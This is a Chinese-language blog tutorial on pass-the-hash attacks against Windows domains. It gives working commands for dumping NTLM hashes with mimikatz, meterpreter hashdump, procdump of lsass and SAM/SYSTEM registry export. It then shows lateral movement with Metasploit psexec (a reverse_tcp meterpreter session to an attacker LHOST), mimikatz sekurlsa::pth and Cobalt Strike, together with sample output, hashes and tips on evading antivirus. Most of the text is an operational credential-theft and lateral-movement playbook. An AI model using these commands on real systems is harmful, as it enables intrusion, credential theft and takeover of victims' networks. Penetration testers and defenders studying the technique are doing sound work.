HASH传递攻击(PTH)

作者: const27 分类: All,内网 发布时间: 2020-09-02 16:21

PTH

HASH传递攻击其实本质就是密码复用:本地用户的账户密码和域控的账户密码相同,那么我们根本就不需要把hash解密出来,直接把hash传递到域控作为自己的登陆凭证即可。
其中若hash加密方式是 rc4 ,那么就是pass the hash
若加密方式是aes key,那么就是pass the key
注意NTLM和kerberos协议均存在PTH:
NTLM自然不用多说
kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH影响

那前提就是要获取hash值了

HASH获取

1.使用meterpreter里的mimikatz模块

meterpreter>load mimikatz
meterpreter>mimikatz_command -f mimikatz的指令
privilege::debug 提权  samdump::hashes dump哈希  
或者
meterpreter>msv/kerberos/widgst

2.使用meterpreter自带的hash获取模块

meterpreter>hashdump
meterpreter>run windows/gather/smart_hashdump   (推荐使用这个)

3.向目标机上传mimikatz远程调用mimikatz.exe dump出hash,mimikatz需要免杀处理
意思就是既然我们获取到了shell,我们直接向目标机上传一个mimikatz然后在shell里使用它就行了. 使用方法为cmd窗口打开mimikatz.exe,进入mimikatz终端,然后输入mimikatz指令即可

4.上传procdump到目标机,获取到lsass.dmp文件后将其传回本地又mimikatz来dump哈希

procdump.exe是微软自带的程序,所以不会触发杀毒。所以可以通过它传回lsass.dmp本地提取hash

procdump64.exe -accepteula -ma lsass.exe lsass.dmp  执行该指令,获取到lsass.dmp
然后将其传回本地
通过mimikatz.exe分别执行以下命令
"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

Procdump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
mimikatz:https://github.com/gentilkiwi/mimikatz/releases

5.使用cobalt strike 获取hash

beacon>hashdump
beacon>mimikatz mimikatz指令

6.利用sam表

mimikatz在线读sam表中的hash

privilege::debug
token::elevate
lsadump::sam

将sam表下载到本地由mimikatz分析

reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
在远端shell使用以上命令导出SYSTEM 和 SAM文件,并将其待会本地,由mimikatz分析
mimikatz运行
mimikatz # lsadump::sam /sam:SAM /system:SYSTEM
Domain : STU1
SysKey : fd4639f4e27c79683ae9fee56b44393f
Local SID : S-1-5-21-1982601180-2087634876-2293013296

SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

RID  : 000001f5 (501)
User : Guest

RID  : 000003e8 (1000)
User : liukaifeng01
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

hash 传递攻击 PTH (Pass the Hash)

1.msf里使用psexec模块

msf5 exploit(multi/handler) > use exploit/windows/smb/psexec  //以root启动msf
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhsot 192.168.64.133
lhsot => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lhost 192.168.64.133
lhost => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lport 443
lport => 443
msf5 exploit(windows/smb/psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass 8a963371a63944419ec1adf687bb1be5  //一般选择NTLM HASH
SMBPass => 8a963371a63944419ec1adf687bb1be5
msf5 exploit(windows/smb/psexec) > run

2.使用mimikatz

我们在目标机里放置mimikatz.exe 然后执行以下命令

sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc  //自行修改

之后便会弹出一个cmd窗口,在这个窗口里链接机器即可

net use \\192.168.222.131\c$

3.使用cobalt strike

在cobalt strike里找到域控,然后使用psexec模块,选择一个本地hash即可。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云